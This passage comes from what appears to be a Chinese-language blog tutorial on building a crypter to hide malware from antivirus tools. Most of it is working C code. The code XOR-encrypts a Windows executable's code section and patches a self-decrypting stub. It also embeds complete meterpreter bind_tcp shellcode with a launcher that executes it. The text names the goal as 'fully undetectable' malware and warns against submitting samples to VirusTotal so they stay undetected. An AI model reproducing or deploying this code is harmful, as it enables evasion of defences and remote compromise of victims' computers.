nbytes;</span><br><span class="line"> </span><br><span class="line">	FILE* fptr;</span><br><span class="line">	BYTE *buffer;</span><br><span class="line">	DWORD nItems;</span><br><span class="line">	DWORD i;</span><br><span class="line">	BYTE  key[] = <span class="string">&quot;ab345izz&quot;</span>;</span><br><span class="line">	<span class="keyword">int</span> keyLength = <span class="number">8</span>;</span><br><span class="line">	<span class="keyword">int</span> cpt = <span class="number">0</span>;</span><br><span class="line"> </span><br><span class="line">	fileOffset = addrInfo-&gt;fileSegmentOffset;</span><br><span class="line">	nbytes = addrInfo-&gt;fileSegmentSize;</span><br><span class="line">	<span class="comment">/* Allocate memory in buffer that will store content of segment */</span></span><br><span class="line">	buffer = (BYTE*)<span class="built_in">malloc</span>(nbytes);</span><br><span class="line">	<span class="keyword">if</span>(buffer == <span class="literal">NULL</span>)</span><br><span class="line">	&#123;</span><br><span class="line">		<span class="built_in">printf</span>(<span class="string">&quot;cipherBytes: malloc error \n&quot;</span>);</span><br><span class="line">		<span class="keyword">return</span>;</span><br><span class="line">	&#125; </span><br><span class="line"> </span><br><span class="line">	<span class="comment">/* Open binary file */</span></span><br><span class="line">	fptr = fopen(fileName,<span class="string">&quot;r+b&quot;</span>);</span><br><span class="line">	<span class="keyword">if</span>(fptr == <span class="literal">NULL</span>)</span><br><span class="line">	&#123;</span><br><span class="line">		<span class="built_in">printf</span>(<span class="string">&quot;cipherBytes: fopen error \n&quot;</span>);</span><br><span class="line">		<span class="keyword">return</span>;</span><br><span class="line">	&#125;</span><br><span class="line">	<span class="comment">/* Seek .code section using calculated offset and copy content into buffer*/</span></span><br><span class="line">	<span class="keyword">if</span>(fseek(fptr, fileOffset, SEEK_SET)!=<span class="number">0</span>)</span><br><span class="line">	&#123;</span><br><span class="line">		<span class="built_in">printf</span>(<span class="string">&quot;cipherBytes: Unable to set file pointer to %ld \n&quot;</span>, fileOffset);</span><br><span class="line">		fclose(fptr);</span><br><span class="line">		<span class="keyword">return</span>;</span><br><span class="line">	&#125;</span><br><span class="line">	nItems = fread(buffer, <span class="keyword">sizeof</span>(BYTE), nbytes, fptr);</span><br><span class="line">	<span class="keyword">if</span>(nItems  &lt;nbytes)</span><br><span class="line">	&#123;</span><br><span class="line">		<span class="built_in">printf</span>(<span class="string">&quot;cipherBytes: Trouble reading nItems = %d \n&quot;</span>,nItems);</span><br><span class="line">		fclose(fptr);</span><br><span class="line">		<span class="keyword">return</span>;</span><br><span class="line">	&#125;</span><br><span class="line"> </span><br><span class="line">	<span class="comment">/* Encrypt buffer */</span></span><br><span class="line">    <span class="keyword">for</span>( i = <span class="number">0</span> ; i &lt; nbytes ; i++ )</span><br><span class="line">    &#123;</span><br><span class="line">		buffer[i]=buffer[i]^key[cpt];</span><br><span class="line">		cpt = cpt + <span class="number">1</span>;</span><br><span class="line">		<span class="keyword">if</span>(cpt == keyLength)</span><br><span class="line">			cpt = <span class="number">0</span>;</span><br><span class="line">    &#125;</span><br><span class="line"> </span><br><span class="line">	<span class="comment">/* Replace current .code section in file by encrypted one */</span></span><br><span class="line">	<span class="keyword">if</span>(fseek(fptr, fileOffset, SEEK_SET)!=<span class="number">0</span>)</span><br><span class="line">	&#123;</span><br><span class="line">		<span class="built_in">printf</span>(<span class="string">&quot;cipherBytes: Unable to set file pointer to %ld \n&quot;</span>, fileOffset);</span><br><span class="line">		fclose(fptr);</span><br><span class="line">		<span class="keyword">return</span>;</span><br><span class="line">	&#125;</span><br><span class="line">	nItems = fwrite(buffer, <span class="keyword">sizeof</span>(BYTE), nbytes, fptr);</span><br><span class="line">	<span class="keyword">if</span>(nItems  &lt;nbytes)</span><br><span class="line">	&#123;</span><br><span class="line">		<span class="built_in">printf</span>(<span class="string">&quot;cipherBytes: Trouble writing nItems = %d \n&quot;</span>,nItems);</span><br><span class="line">		fclose(fptr);</span><br><span class="line">		<span class="keyword">return</span>;</span><br><span class="line">	&#125;</span><br><span class="line"> </span><br><span class="line">	<span class="built_in">printf</span>(<span class="string">&quot;Successfully ciphered %d bytes\n&quot;</span>,nbytes);</span><br><span class="line">	fclose(fptr);</span><br><span class="line">	<span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<h3 id="补丁-stub部分"><a href="#补丁-stub部分" class="headerlink" title="补丁.stub部分"></a>补丁.stub部分</h3><p>加密 .code 部分后，我们需要修补 .stub 部分，以便目标可以自行解密。在这个函数中，我们：</p>
<ul>
<li>打开二进制目标文件</li>
<li>寻找 .stub 段</li>
<li>在缓冲区中加载 .stub 段</li>
<li>找到 CODE_BASE_ADDRESS 和 CODE_SIZE</li>
<li>用虚拟内存偏移量和 .code 部分的大小替换值</li>
<li>写补丁缓冲区代替 .stub 段</li>
<li>关闭文件并离开</li>
</ul>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * Patch the filepath file (the .stub segment)</span></span><br><span class="line"><span class="comment"> * Here we replace CODE_BASE_ADDRESS and CODE_SIZE by newBaseAddr and newSegSize</span></span><br><span class="line"><span class="comment"> * newBaseAddr is the Virtual memory base address of .code segment in target file</span></span><br><span class="line"><span class="comment"> * newSegSize contains the size of the target file .code segment</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">patchStub</span><span class="params">(<span class="keyword">char</span> * filepath,  SEGMENT_INFO_PTR addrInfo, DWORD newBaseAddr, DWORD newSegSize )</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">	DWORD fileOffset;</span><br><span class="line">	DWORD nbytes;</span><br><span class="line">	DWORD nItems;</span><br><span class="line">	<span class="comment">/* Signature to locate where segment memory base address should be written */</span></span><br><span class="line">	BYTE baseAddrSignature[] = &#123; <span class="number">0x15</span>, <span class="number">0x15</span>, <span class="number">0x15</span>, <span class="number">0x15</span>, <span class="number">0x00</span> &#125;; </span><br><span class="line">	<span class="comment">/* Signature to locate where segment size should be written*/</span></span><br><span class="line">	BYTE segSizeSignature[] = &#123; <span class="number">0x14</span>, <span class="number">0x14</span>, <span class="number">0x14</span>, <span class="number">0x14</span>, <span class="number">0x00</span> &#125;; </span><br><span class="line">	BYTE * baseAddrAddress = <span class="literal">NULL</span>;</span><br><span class="line">	BYTE * segSizeAddress = <span class="literal">NULL</span>;</span><br><span class="line">	BYTE *buffer;</span><br><span class="line">	FILE* fptr;</span><br><span class="line">	fileOffset = addrInfo-&gt;fileSegmentOffset;</span><br><span class="line">	nbytes = addrInfo-&gt;fileSegmentSize;</span><br><span class="line"> </span><br><span class="line">	<span class="comment">/* Allocate memory in buffer that will store content of segment */</span></span><br><span class="line">	buffer = (BYTE*)<span class="built_in">malloc</span>(nbytes);</span><br><span class="line">	<span class="keyword">if</span>(buffer == <span class="literal">NULL</span>)</span><br><span class="line">	&#123;</span><br><span class="line">		<span class="built_in">printf</span>(<span class="string">&quot;patchStub: malloc error \n&quot;</span>);</span><br><span class="line">		<span class="keyword">return</span>;</span><br><span class="line">	&#125;</span><br><span class="line"> </span><br><span class="line">	<span class="comment">/* Open binary file */</span></span><br><span class="line">    fptr = fopen(filepath, <span class="string">&quot;r+b&quot;</span>);</span><br><span class="line">	<span class="keyword">if</span>(fptr == <span class="literal">NULL</span>)</span><br><span class="line">	&#123;</span><br><span class="line">		<span class="built_in">printf</span>(<span class="string">&quot;patchStub: fopen error \n&quot;</span>);</span><br><span class="line">		<span class="keyword">return</span>;</span><br><span class="line">	&#125;</span><br><span class="line"> </span><br><span class="line">	<span class="comment">/* Seek .stub section using calculated offset*/</span></span><br><span class="line">	<span class="keyword">if</span>(fseek(fptr, addrInfo-&gt;fileSegmentOffset, SEEK_SET)!=<span class="number">0</span>)</span><br><span class="line">	&#123;</span><br><span class="line">		<span class="built_in">printf</span>(<span class="string">&quot;patchStub: Unable to set file pointer to %ld \n&quot;</span>, addrInfo-&gt;fileSegmentOffset);</span><br><span class="line">		fclose(fptr);</span><br><span class="line">		<span class="keyword">return</span>;</span><br><span class="line">	&#125;</span><br><span class="line">	<span class="comment">/* Copy content of stub segment into buffer */</span></span><br><span class="line">	nItems = fread(buffer, <span class="keyword">sizeof</span>(BYTE), nbytes, fptr);</span><br><span class="line">	<span class="keyword">if</span>(nItems  &lt;nbytes)</span><br><span class="line">	&#123;</span><br><span class="line">		<span class="built_in">printf</span>(<span class="string">&quot;patchStub: Trouble reading nItems = %d \n&quot;</span>,nItems);</span><br><span class="line">		fclose(fptr);</span><br><span class="line">		<span class="keyword">return</span>;</span><br><span class="line">	&#125;</span><br><span class="line"> </span><br><span class="line">	<span class="comment">/* Search the baseAddress in buffer section */</span></span><br><span class="line">	baseAddrAddress = binStrstr(buffer,baseAddrSignature);</span><br><span class="line">	<span class="comment">/* Change base Address by calculated value */</span></span><br><span class="line">	<span class="built_in">memcpy</span>(baseAddrAddress,&amp;newBaseAddr,<span class="keyword">sizeof</span>(newBaseAddr));</span><br><span class="line"> </span><br><span class="line">	<span class="comment">/* Search the baseAddress in buffer section */</span></span><br><span class="line">	segSizeAddress = binStrstr(buffer,segSizeSignature);</span><br><span class="line">	<span class="comment">/* Change base Address by calculated value */</span></span><br><span class="line">	<span class="built_in">memcpy</span>(segSizeAddress,&amp;newSegSize,<span class="keyword">sizeof</span>(newSegSize));</span><br><span class="line"> </span><br><span class="line">    <span class="comment">/* Replace current .stub section in file by patched one */</span></span><br><span class="line">	<span class="keyword">if</span>(fseek(fptr, fileOffset, SEEK_SET)!=<span class="number">0</span>)</span><br><span class="line">	&#123;</span><br><span class="line">		<span class="built_in">printf</span>(<span class="string">&quot;patchStub: Unable to set file pointer to %ld \n&quot;</span>, fileOffset);</span><br><span class="line">		fclose(fptr);</span><br><span class="line">		<span class="keyword">return</span>;</span><br><span class="line">	&#125;</span><br><span class="line">	nItems = fwrite(buffer, <span class="keyword">sizeof</span>(BYTE), nbytes, fptr);</span><br><span class="line">	<span class="keyword">if</span>(nItems  &lt;nbytes)</span><br><span class="line">	&#123;</span><br><span class="line">		<span class="built_in">printf</span>(<span class="string">&quot;patchStub: Trouble writing nItems = %d \n&quot;</span>,nItems);</span><br><span class="line">		fclose(fptr);</span><br><span class="line">		<span class="keyword">return</span>;</span><br><span class="line">	&#125;</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;Successfully patched file\n&quot;</span>);</span><br><span class="line">	fclose(fptr);</span><br><span class="line"> </span><br><span class="line">    <span class="keyword">return</span> ;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<h3 id="main部分"><a href="#main部分" class="headerlink" title="main部分"></a>main部分</h3><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/** </span></span><br><span class="line"><span class="comment"> * Cryptor entry point </span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">main</span><span class="params">(<span class="keyword">int</span> argc, <span class="keyword">char</span> *argv[])</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">	<span class="keyword">char</span> *fileName;</span><br><span class="line">	HANDLE hFile;</span><br><span class="line">	HANDLE hFileMapping;</span><br><span class="line">	LPVOID fileBaseAddress;</span><br><span class="line">	BOOL retVal;</span><br><span class="line">	<span class="comment">/* To store information of .code and .stub segments */</span></span><br><span class="line">	SEGMENT_INFO codeSegmentInfo;</span><br><span class="line">	SEGMENT_INFO stubSegmentInfo;</span><br><span class="line"> </span><br><span class="line">	<span class="keyword">if</span>(argc &lt;<span class="number">2</span>)</span><br><span class="line">	&#123;</span><br><span class="line">		<span class="built_in">printf</span>(<span class="string">&quot;main: Not enough arguments&quot;</span>);</span><br><span class="line">		<span class="keyword">return</span>;</span><br><span class="line">	&#125;</span><br><span class="line">	fileName = argv[<span class="number">1</span>];</span><br><span class="line">	<span class="comment">/* Map target file */</span></span><br><span class="line">	retVal = getHMODULE(fileName, &amp;hFile, &amp;hFileMapping, &amp;fileBaseAddress);</span><br><span class="line">	<span class="keyword">if</span>(retVal==FALSE)</span><br><span class="line">	&#123;</span><br><span class="line">		<span class="keyword">return</span>;</span><br><span class="line">	&#125;</span><br><span class="line"> </span><br><span class="line">	<span class="comment">/* Init structures */</span></span><br><span class="line">	codeSegmentInfo.moduleBase = (DWORD)<span class="literal">NULL</span>;</span><br><span class="line">	codeSegmentInfo.memorySegmentOffset = (DWORD)<span class="literal">NULL</span>;</span><br><span class="line">	codeSegmentInfo.fileSegmentOffset = (DWORD)<span class="literal">NULL</span>;</span><br><span class="line">	codeSegmentInfo.fileSegmentSize = (DWORD)<span class="literal">NULL</span>;</span><br><span class="line">	stubSegmentInfo.moduleBase = (DWORD)<span class="literal">NULL</span>;</span><br><span class="line">	stubSegmentInfo.memorySegmentOffset = (DWORD)<span class="literal">NULL</span>;</span><br><span class="line">	stubSegmentInfo.fileSegmentOffset = (DWORD)<span class="literal">NULL</span>;</span><br><span class="line">	stubSegmentInfo.fileSegmentSize = (DWORD)<span class="literal">NULL</span>;</span><br><span class="line"> </span><br><span class="line">	<span class="comment">/* Fill segments information */</span></span><br><span class="line">	getSegmentsInfo(fileBaseAddress,&amp;codeSegmentInfo,&amp;stubSegmentInfo);</span><br><span class="line"> </span><br><span class="line">	<span class="built_in">printf</span>(<span class="string">&quot;\n\n=======================\n&quot;</span>);</span><br><span class="line">	<span class="built_in">printf</span>(<span class="string">&quot;.code segment information: \n&quot;</span>);</span><br><span class="line">	<span class="built_in">printf</span>(<span class="string">&quot;RAM image base		=0x%08X\n&quot;</span>,codeSegmentInfo.moduleBase);</span><br><span class="line">	<span class="built_in">printf</span>(<span class="string">&quot;RAM segment offset	=0x%08X\n&quot;</span>,codeSegmentInfo.memorySegmentOffset);</span><br><span class="line">	<span class="built_in">printf</span>(<span class="string">&quot;File offset of code =0x%08X\n&quot;</span>,codeSegmentInfo.fileSegmentOffset);</span><br><span class="line">	<span class="built_in">printf</span>(<span class="string">&quot;File size of code	=0x%08X\n&quot;</span>,codeSegmentInfo.fileSegmentSize);</span><br><span class="line">	<span class="built_in">printf</span>(<span class="string">&quot;\n\n=======================\n&quot;</span>);</span><br><span class="line">	<span class="built_in">printf</span>(<span class="string">&quot;.stub segment information: \n&quot;</span>);</span><br><span class="line">	<span class="built_in">printf</span>(<span class="string">&quot;RAM image base		=0x%08X\n&quot;</span>,stubSegmentInfo.moduleBase);</span><br><span class="line">	<span class="built_in">printf</span>(<span class="string">&quot;RAM segment offset	=0x%08X\n&quot;</span>,stubSegmentInfo.memorySegmentOffset);</span><br><span class="line">	<span class="built_in">printf</span>(<span class="string">&quot;File offset of code =0x%08X\n&quot;</span>,stubSegmentInfo.fileSegmentOffset);</span><br><span class="line">	<span class="built_in">printf</span>(<span class="string">&quot;File size of code	=0x%08X\n&quot;</span>,stubSegmentInfo.fileSegmentSize);</span><br><span class="line">	closeHandles(hFile, hFileMapping,fileBaseAddress);</span><br><span class="line">	cipherBytes(fileName,&amp;codeSegmentInfo);</span><br><span class="line"> </span><br><span class="line">	patchStub(fileName,&amp;stubSegmentInfo,codeSegmentInfo.moduleBase+codeSegmentInfo.memorySegmentOffset,codeSegmentInfo.fileSegmentSize);</span><br><span class="line"> </span><br><span class="line">	<span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>







<h1 id="测试"><a href="#测试" class="headerlink" title="测试"></a>测试</h1><h2 id="VirusTotal"><a href="#VirusTotal" class="headerlink" title="VirusTotal"></a>VirusTotal</h2><p>VirusTotal（<a target="_blank" rel="noopener" href="https://www.77169.net/go?url=https://www.virustotal.com">https://www.virustotal.com</a>）是针对多个AV的在线扫描的参考平台。</p>
<blockquote>
<p>  众所周知，如果你想要一个未被检测到的恶意软件来保留FUD特性，你应该永远不会发送到VirusTotal</p>
</blockquote>
<p>FUD(Fully undetectable),完全不被检测</p>
<h2 id="加密的恶意软件"><a href="#加密的恶意软件" class="headerlink" title="加密的恶意软件"></a>加密的恶意软件</h2><p>这里的完整代码：<a target="_blank" rel="noopener" href="https://blog.sevagas.com/Hide-meterpreter-shellcode-in-executable">https://blog.sevagas.com/Hide-meterpreter-shellcode-in-executable</a></p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br></pre></td><td class="code"><pre><span class="line"> </span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;Windows.h&gt;</span></span></span><br><span class="line"> </span><br><span class="line"><span class="comment">/* Declare new sections to store encrypted code and shellcode data */</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">pragma</span> section(<span class="meta-string">&quot;.code&quot;</span>,execute, read, write)</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">pragma</span> section(<span class="meta-string">&quot;.codedata&quot;</span>, read, write)</span></span><br><span class="line"><span class="comment">// Merge  .codedata into .code (which will be encrypted by cryptor)</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">pragma</span> comment(linker,<span class="meta-string">&quot;/MERGE:.codedata=.code&quot;</span>)</span></span><br><span class="line"><span class="comment">// Declare .code as Executable, Read, Write section, this is necessary so application rewrites itself</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">pragma</span> comment(linker,<span class="meta-string">&quot;/SECTION:.code,ERW&quot;</span>)</span></span><br><span class="line"> </span><br><span class="line"><span class="comment">// This will put all following constants and global variables in .codedata segment</span></span><br><span class="line"><span class="comment">// 这会将所有以下常量和全局变量放在 .codedata 段中</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">pragma</span> data_seg(<span class="meta-string">&quot;.codedata&quot;</span>)</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">pragma</span> const_seg(<span class="meta-string">&quot;.codedata&quot;</span>)</span></span><br><span class="line"><span class="comment">// From here executable code will go in .code section</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">pragma</span> code_seg(<span class="meta-string">&quot;.code&quot;</span>)</span></span><br><span class="line"> </span><br><span class="line"><span class="comment">/*</span></span><br><span class="line"><span class="comment"> * windows/meterpreter/bind_tcp - 298 bytes (stage 1)</span></span><br><span class="line"><span class="comment"> * http://www.metasploit.com</span></span><br><span class="line"><span class="comment"> * VERBOSE=false, LPORT=80, RHOST=, EnableStageEncoding=false, </span></span><br><span class="line"><span class="comment"> * PrependMigrate=false, EXITFUNC=process, AutoLoadStdapi=true, </span></span><br><span class="line"><span class="comment"> * InitialAutoRunScript=, AutoRunScript=, AutoSystemInfo=true, </span></span><br><span class="line"><span class="comment"> * EnableUnicodeEncoding=true</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="keyword">unsigned</span> <span class="keyword">char</span> buf[] = </span><br><span class="line"><span class="string">&quot;\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30&quot;</span></span><br><span class="line"><span class="string">&quot;\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff&quot;</span></span><br><span class="line"><span class="string">&quot;\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2&quot;</span></span><br><span class="line"><span class="string">&quot;\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85&quot;</span></span><br><span class="line"><span class="string">&quot;\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3&quot;</span></span><br><span class="line"><span class="string">&quot;\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d&quot;</span></span><br><span class="line"><span class="string">&quot;\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58&quot;</span></span><br><span class="line"><span class="string">&quot;\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b&quot;</span></span><br><span class="line"><span class="string">&quot;\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff&quot;</span></span><br><span class="line"><span class="string">&quot;\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68&quot;</span></span><br><span class="line"><span class="string">&quot;\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01&quot;</span></span><br><span class="line"><span class="string">&quot;\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50&quot;</span></span><br><span class="line"><span class="string">&quot;\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x31&quot;</span></span><br><span class="line"><span class="string">&quot;\xdb\x53\x68\x02\x00\x00\x50\x89\xe6\x6a\x10\x56\x57\x68\xc2&quot;</span></span><br><span class="line"><span class="string">&quot;\xdb\x37\x67\xff\xd5\x53\x57\x68\xb7\xe9\x38\xff\xff\xd5\x53&quot;</span></span><br><span class="line"><span class="string">&quot;\x53\x57\x68\x74\xec\x3b\xe1\xff\xd5\x57\x97\x68\x75\x6e\x4d&quot;</span></span><br><span class="line"><span class="string">&quot;\x61\xff\xd5\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff&quot;</span></span><br><span class="line"><span class="string">&quot;\xd5\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58&quot;</span></span><br><span class="line"><span class="string">&quot;\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9&quot;</span></span><br><span class="line"><span class="string">&quot;\xc8\x5f\xff\xd5\x01\xc3\x29\xc6\x85\xf6\x75\xec\xc3&quot;</span>;</span><br><span class="line"> </span><br><span class="line"> </span><br><span class="line"><span class="comment">/* Launch the meterpreter shellcode */</span></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">shellLaunch</span><span class="params">()</span></span></span><br><span class="line"><span class="function"> </span>&#123;</span><br><span class="line">    <span class="comment">/* Declare pointer on function */</span></span><br><span class="line">    <span class="keyword">int</span> (*func) ();</span><br><span class="line"> </span><br><span class="line">    <span class="comment">/* Cast shellcode into function */</span></span><br><span class="line">    func = (<span class="keyword">int</span> (*) ()) buf;</span><br><span class="line"> </span><br><span class="line">    <span class="comment">/* Call function (Execute shellcode) */</span></span><br><span class="line">    (<span class="keyword">int</span>) (*func) ();</span><br><span class="line">&#125;</span><br><span class="line"> </span><br><span class="line"> </span><br><span class="line"><span class="comment">// .stub SECTION , the following part is not encrypted.</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">pragma</span> section(<span class="meta-string">&quot;.stub&quot;</span>, execute, read, write)</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">pragma</span> code_seg(<span class="meta-string">&quot;.stub&quot;</span>)</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">pragma</span> section(<span class="meta-string">&quot;.stubdata&quot;</span>, read, write)</span></span><br><span class="line"><span class="comment">// Merge  .stubdata into .stub (decryption part)</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">pragma</span> comment(linker,<span class="meta-string">&quot;/MERGE:.stubdata=.stub&quot;</span>)</span></span><br><span class="line"> </span><br><span class="line"><span class="comment">// This will put out strings and global variables in .stubdata segment</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">pragma</span> data_seg(<span class="meta-string">&quot;.stubdata&quot;</span>)</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">pragma</span> const_seg(<span class="meta-string">&quot;.stubdata&quot;</span>)</span></span><br><span class="line"><span class="comment">// Executable code will go in .stub section</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">pragma</span> code_seg(<span class="meta-string">&quot;.stub&quot;</span>)</span></span><br><span class="line"> </span><br><span class="line"> </span><br><span class="line"><span class="comment">// Next data are signature recognized by cryptor to patch the target</span></span><br><span class="line"><span class="comment">// 下一个数据是加密器识别的签名以修补目标</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> CODE_BASE_ADDRESS	0x15151515 